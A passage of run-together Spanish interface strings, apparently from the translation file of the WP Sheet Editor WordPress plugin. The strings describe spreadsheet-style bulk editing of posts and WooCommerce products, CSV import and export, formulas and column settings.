esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 30 caracteres. Puedes aumentar el número aquí para ver previsualizaciones más grandes.Por defecto, eliminamos cualquier html inseguro de todas las columnas de la hoja de cálculo antes de guardar los valores. Puedes activar esta opción si quieres permitir a los superadministradores o administradores de WordPress añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala bajo tu propia responsabilidad.Por defecto, ejecutamos la acción save_post sólo cuando se actualiza un campo de datos de la entrada (campos que no sean meta y taxonomías) por razones de rendimiento. Habilita esto si otros plugins no están detectando nuestros cambios o los webhooks no se están ejecutando.Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda avanzada, edición masiva, exportación, importación, etc), aunque estén deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar solo las columnas habilitadas.Por defecto, mostramos cada casilla de verificación como una columna separada, pero si tienes casillas de verificación con muchas opciones es posible que desees utilizar una columna con un desplegable en su lugar.Por defecto, mostramos el nombre del archivo como texto de vista previa junto a la miniatura, habilita esto para mostrar solo la miniatura y botones únicamente.Por defecto, mostramos la etiqueta en la celda en lugar del valor bruto. Pero puedes habilitar esta opción para mostrar el valor bruto en las celdas.Por defecto, al exportar una columna con imágenes, agregamos el ID del archivo a la URL para que al importar, sepamos el origen de la imagen y la guardemos más rápido. Activa esta opción para no agregar el ID a la URL, todo funciona bien al habilitar esta opción, solo que el guardado puede ser un poquito más lento.Por defecto, la importación se detiene cuando un producto hace referencia a una imagen rota y hay que corregir el problema en el archivo e iniciar una nueva importación. Habilita esta opción y te permitiremos importar productos sin imágenes cuando la URL de la imagen esté rotaCANTIDAD DE CARACTERES <CANTIDAD DE CARACTERES >CONTIENEColumna en el CSVColumna en el CSVArchivo CSVArchivo CSV desde mi computadoraArchivo CSV desde una URLArchivo CSV en el servidorUbicación del archivo CSVCalendarioCancelarCancelar la importaciónCancelar los cambios y cerrar la ventana emergentePoner en mayúsculas la primera letra de cada palabra del campo. Es decir, convertir "mi título" en "Mi Título".Poner en mayúsculas las palabrasLeyendaCuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el procedimiento.Nombre de la categoría...Tipo de celdaCambiar los ajustes de los atributosCambiar el color de fondoCambios guardadosLos cambios se guardaron con éxitoCasilla de verificaciónBorrar valorHaz clic aquí para exportar los ajustesHaz clic aquí para ver todas las columnas otra vezBotónClics ahorrados
                  (estimado)CerrarFormato de columnaGrupos de columnasClave de la columnaNombre de columnaColumna no encontrada. Intenta con otro criterio de búsqueda.Columna removida. Ve a "Ajustes > Ocultar/mostrar columnas" para habilitarla de nuevoConfiguraciones definidas en el gestor de columnasTamaños de las columnasTítulos de las columnasAncho de columna (pixeles)Las columnas no se pudieron guardar. Inténtalo de nuevo.Columnas creadas manualmenteLímite de columnasGestor de columnasRenombrar columnasRedimensionar columnasColumnas restauradas con éxito. Por favor, recarga la página para ver las columnas restauradas y habilitarlasVisibilidad de las columnasVisibilidad de las columnas y los Campos Personalizados (opcional)Recuento de comentariosComentariosHoja de Cálculo de Comentarios, Reseñas y Notas de PedidoContáctanosContiene palabra claveContenidoContinuarEl rol de colaborador sólo puede ver y editar sus propios posts, pero no puede subir imágenes.Copiar y pegar desde otra hoja de cálculo o tablaCopiar y pegar en la siguiente hoja de cálculoCopiar archivos de este producto: (Necesitas guardar los cambios después.)Copiar de otras columnasCopiar de esta columnaCopiar precio normal y disminuir en porcentajeCopiar el precio normal y disminuir en cantidadCopiar el valor de otros campos en este campo.
                  Ejemplo, copiar "precio rebajado" al campo "precio normal".Copiar las variaciones este/estos producto(s).Copiar variacionesCopiar variaciones y atributos de este producto:Copiar variaciones más rápido: Número de variaciones a copiar por loteCopiar variaciones de este productoCrear y copiar variaciones para los productos variables.Crear columnaCrear nuevas filas y actualizar las filas existentesCrear este número de variacionesCrear variaciones¿Crear variaciones para cada combinación de atributos?Ventas cruzadasMonedaHoja de cálculo actualHoja de Cálculo de Tablas de Bases de Datos PersonalizadasNombres de atributos personalizadosAtributo personalizado: %sColumnas personalizadasFórmula personalizadaTipos de post personalizados¿Personalizar las característicasModo oscuroFaltan datos, inténtalo de nuevo más tarde.Fuente de datosFechaFecha (GMT)Fecha y horaFecha InicialDíasDesactivar el prefetch de los datosSeparador de decimales¿Decodificar las comillas?Disminuir enDisminuir en númeroDisminuir en porcentajeDisminuye el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.Deducir tiempo de las fechas existentesPor defectoAtributo por defectoAtributos predeterminadosOrden por defectoPor defecto: 4. Cuando ingresas una URL externa en columnas de imágenes o durante la importación, descargamos la imagen y la guardamos en la librería multimedia de WordPress. Por defecto, limitamos la descarga a 4 segundos, cualquier descarga que supere eso será cancelada para evitar problemas de rendimiento.EliminarBorrar todoEliminar completamenteEliminar campoBorrar filas más rápido: Número de filas a borrar por loteBorrar filaBorrar filasEliminar campo serializado¿Borrar las imágenes adjuntas al borrar una entrada?Borrar los elementos nuevos y mantener el elemento más antiguoBorrar los elementos antiguos y mantener el elemento más reciente¿Borrar cuentas de usuario en toda la red al borrar usuarios en la hoja de cálculo?Video de demostraciónDescripciónDeshabilitar todas¿Deshabilitar la carga lenta de las celdas?Deshabilitar columna. Puedes habilitarla más tarde.¿Deshabilitar la promoción de extensiones?¿Desactivar las acciones posteriores al guardar cambios?¿Deshabilitar las estadísticas de inventario de productos?¿Deshabilitar el soporte de columnas serializadas?¿Deshabilitar la adición del ID del archivo a la URL de las imágenes?¿Deshabilitar la activación automática de la opción "Es visible" para los atributos de los productos?¿Deshabilitar la activación automática de la opción "Usar para variaciones" para los atributos en los productos variables?¿Deshabilitar la detección automática del formato?¿Desactivar la carga automática de filas?¿No mostrar el nombre del archivo en la celda de las imágenes?¿Desactivar el modo de pantalla completa?¿Deshabilitar la api heartbeat en la hoja de cálculo?¿Deshabilitar la barra de ayuda?¿Deshabilitar la ventana emergente que te pide instalar extensiones importantes?¿Deshabilitar la sustitución de los saltos de línea con etiquetas p?Deshabilita esta opción si estás usando un plugin de caché de objetos/bases de datos. Desactivamos esto por defecto para que el ahorro sea más rápido. Cuando editas muchas entradas, WordPress intenta "limpiar" la caché incluso si no estás usando un plugin de caché, haciendo cientos de consultas innecesarias a la base de datos.¿Deshabilitar el widget de estadísticas de uso?DeshabilitadaSi desconectas el sitio actual de tu cuenta de Google y de la API de WP Sheet Editor, se detendrán las tareas de sincronización que hayas creado en este sitio. Sin embargo, las tareas de sincronización creadas por otros usuarios en este sitio, que se sincronizan con sus propias cuentas de Google, permanecerán activas. Tus otros sitios de WordPress seguirán funcionando con normalidad. ¿Quieres continuar?¿Mostrar el valor bruto en las celdas seleccionadas?Mostrar el editor de hojas de cálculo en el frontendMostrar el editor de hojas de cálculo en el frontendMostrar las variacionesNo permitir¿No copiar las imágenes de las variaciones?¿Quieres deshabilitar las columnas para los nuevos campos encontrados?Quieres borrar {rows_number} filas de la base de datos completamente? Si quieres restaurarlas después, deberías hacer una copia de seguridad antes.¿Quieres actualizar o crear filas?¿No mostrar las columnas deshabilitadas en los módulos?¿No mostrar columnas de sólo lectura en la búsqueda avanzada?DescargarID de la descarga %dURL de la descarga %dNombre de la descarga %dDescargar archivo CSVURL de la descargaCaducidad de la descargaArchivos descargablesArchivos descargables: URLsArchivos descargables: NombresLímite de descargasNombre de la descargaTipo de descargaActualización de descargaDescargableDescargasArrastra las columnas a la izquierda o a la derecha para habilitarlas/deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. Haz clic en el botón "editar" para renombrarlas, haz clic en el botón "x" para borrarlas por completo (sólo cuando estén deshabilitadas previamente).DuplicarDuplicar (Herramienta)Duplicar desde el idioma principalDuplicar artículos masivamenteDuplicar elementos masivamente.Duplicar filaDuplicar filas: Número de copias a crear por loteDuplicar este elemento:Archivos de descarga EDDPrecio variable EDDHABILITAR COLUMNAS. Estas columnas requieren una recarga de la página: {columns}. ¿Quieres recargar ahora? Recargaremos automáticamente.TERMINA CONHoja de Cálculo de Easy Digital DownloadsEditarEditar Editar %sEditar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. Descargar PluginEditar Campos Personalizados en una Hoja de CálculoEditar Entradas y Páginas en una Hoja de CálculoEditar perfiles de usuario en una hoja de cálculo - BásicoEditar Perfiles de Usuario en la Hoja de Cálculo - COMPLETOEditar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre filas,
                  Editar post types personalizados y campos personalizados, Editar Perfiles de Usuario, y MásEditar %s de WordPressEditar todas las filas de mi búsqueda actual (incluyendo las filas no visibles).Editar atributosEditar categorías, etiquetas y atributos en una hoja de cálculoEditar archivosEditar en una Hoja de CálculoEditar la meta claveEditar solo los productos simples y padresEditar solo las variacionesEditar ajustesEditar las filas que he seleccionado manualmente en la hoja de cálculo.Editar las mismas filas que seleccioné manualmente previamenteEditar "%s"Editando:El rol de editor puede ver y editar todos los post y páginas.ElementorCorreo electrónicoMensaje del correoAsunto del correo electrónicoHabilitarHabilitar filtros avanzadosHabilitar todas¿Habilitar el guardado automático?Habilitar columnaHabilitar comentariosHabilitar nueva hoja de cálculo¿Habilitar la opción de restringir las vistas de hojas de cálculo por usuario?Habilitar la paginaciónHabilitar las valoraciones¿Habilitar el modo simple?Habilita el modo avanzado en la parte inferior de la página para personalizar el ancho de la columna, el formato (editor, carga de archivos, taxonomías), etc.¿Habilitar modo oscuro?Habilitar el selector de términos de taxonomía bonitoHabilitar la corrección de la codificación utf8Habilita esta opción si quieres copiar todos los datos de la variación, excepto la imagen de la variación.HabilitadasHabilitar esta columna requiere una recarga de la páginaIngresa %sIngresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. Puedes agregar rangos como 20-50 como un acceso directo.Ingresa un formato de fecha. Lista de formatos. Ejemplo: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: A-m-d H:i:sIngresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-dIngresa un formato de fecha. Lista de formatos. Ejemplo: D-M-A Ingresa un formato de fecha. Lista de formatos. Si lo dejas vacío, usaremos el formato por defecto: A-m-d H:i:sIngresa una palabra claveIngresa una palabra clave para excluir filas. Separa múltiples palabras claves con un punto y coma (;)Ingresa un nombre...Ingresa un número y esas columnas se fijarán al hacer scroll horizontalmente. Puedes hacer clic derecho en cualquier columna para fijar y descongelar. Por ejemplo, ingresa 2 para fijar las primeras 2 columnas.Ingresa un término de búsqueda...Ingresa un títuloIngresa un nombre de usuario o correo electrónico...Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás tener que desplazarte por docenas de columnas para encontrar la que necesitas.Ingresa cada selección en una nueva línea. Para mayor control, puedes especificar un valor y una etiqueta así: rojo : RojoIngresar nombre del elemento...Ingresa varios SKUs o IDs separados por comasIngresa múltiples URLs separadas por comasIngresa varios atributos separados por |Ingresa los códigos de varios idiomas separados por comas y crearemos copias del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán omitidos.Ingresa varios títulos separados por comasIngresa varios términos separados por %sIngresa varios términos separados por comasIngresa una URL por líneaIngresa uno o más términos separados por %s o uno nuevo en cada línea. Ingresa la jerarquía completa como "Padre > Hijo" para remover subcategoríasIngresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio.com/wp-content/uploads/2016/01/file.jpg) o una URL externa.Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio.com/wp-content/uploads/2016/01/file.jpgIngresa las URL separadas por comas. Pueden ser de tu propio sitio.Ingresa las URL separadas por comas. Deben ser de tu propio sitio.Ingresa el nombre del atributoIngresa el nombre de la columna (lo que quieras) y selecciona la clave de campo en el menú desplegable. Si no la encuentras, puedes escribirla en el desplegable. Ver Tutorial Debes ingresar la jerarquía completa como padre > hijoIngresa la lista de claves de campo separadas por comas, puedes ingresar la clave completa del campo meta o las palabras clave o prefijos parciales. Esto es útil porque algunos plugins añaden miles de campos innecesarios a la base de datos y desordenan la hoja de cálculoIngresa los nombres de Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como padre > hijo > hijoIngresa el número.Ingresa el número del porcentaje.Ingresa el nombre o el slug del término.Ingresa el valor a añadir al final del valor existente.Ingresa el valor para añadir al inicio del valor existente.Error en la fila con el ID: %d - %sError. El motor matemático no pudo ejecutar la operación matemática: %1$s, ID: %2$dError. La columna "Estado" debe estar habilitada en la hoja de cálculo antes de remover los duplicados.Error: %sError: El nuevo valor está vacío o es igual al valor antiguoEtc.Hoja de Cálculo de The Events CalendarYa está todo guardado.Todo lo que necesitas para todos los post types y productosTodo lo que necesitas para los usuarios y clientesEjemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 (Establecer precio normal - 30%)Ejemplo: ExtractoEjecutarEjecutar AhoraSalirSalir del modo de Pantalla CompletaExportarExportar e importar ajustesExportar columnaExportar filas más rápido: Número de filas a exportar por loteExportar a un archivo CSVAmpliar la hoja de cálculoNombre de la extensiónExtensionesExtensiones que requieren actualizaciónImágenes FTP: ¿Omitir imágenes con el mismo nombre de archivo?Campos de búsqueda marcados como favoritosImagen DestacadaImagen destacadaCampoCampo 2: Columna en el CSVCampo 2: Campo en WordPressArchivo (URL o ruta)ID del archivoURL del archivoURLs de archivosNo se ha podido cargar el archivo. Por favor, inicia el proceso de nuevo.Cargar archivoCarga de archivos (múltiple)Carga de archivos (individual)El archivo se subió con éxito pero no es un archivo CSV válido o utiliza una codificación incorrecta. Si editaste el archivo en Excel, verifica que se guardó como UTF-8 y ten en cuenta que, a veces, copiar el pegado de lugares externos añade caracteres no válidos. Por lo tanto, asegúrate de pegar sólo los valores y no el formato para evitar pegar caracteres inválidos.Archivos guardados.Filtrar elementos de la listaPaso finalEncontrar estos IDs:Encontrar estas URLs:Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 parámetros: $current_data (string con el valor actual de la celda) y $row_id, la función debe aceptar los 2 parámetros y devolver el valor modificado para guardar como string. Automáticamente guardaremos si el valor devuelto cambió. Leer más.Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta de búsqueda, actualizaremos sólo los posts con el autor MarcosPor ejemplo, si seleccionas las categorías del blog, sólo aceptaremos categorías del blog en esta columna.Por ejemplo, si seleccionas el post type "producto", sólo aceptaremos títulos de productos.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos productos que no tienen traducción al español ni al alemán.Por ejemplo, selecciona "español" y "alemán" aquí y encontraremos términos que no tienen traducción al español ni al alemán.Por ejemplo, cuando se borra un post por completo (sin ir a la papelera), se borra la imagen destacada y las imágenes de la galería de productos de la biblioteca de medios. CUIDADO. Si usas las mismas imágenes en varios posts, se romperán las imágenes en otros postsModo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda está vacío)Fórmulas¿Congelar las columnas iniciales del lado izquierdo?Hoja de Cálculo FrontendHojas de Cálculo FrontendURL CompletaContenidoEl modo de pantalla completa está activadoGaleríaAjustes generalesGenerar extractoGenerar columnas de campos serializados basados en estos postsObtén ayuda instantánea en el chat en vivo + soporte por correo electrónico en horas de oficinaObtén las siguientes %d extensiones por sólo $ %s $ %sHoja de Cálculo de GiveWPOrden globalPásate a PremiumAtrásIr a la páginaIr arribaHojas de Cálculo de GoogleGuías y TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar 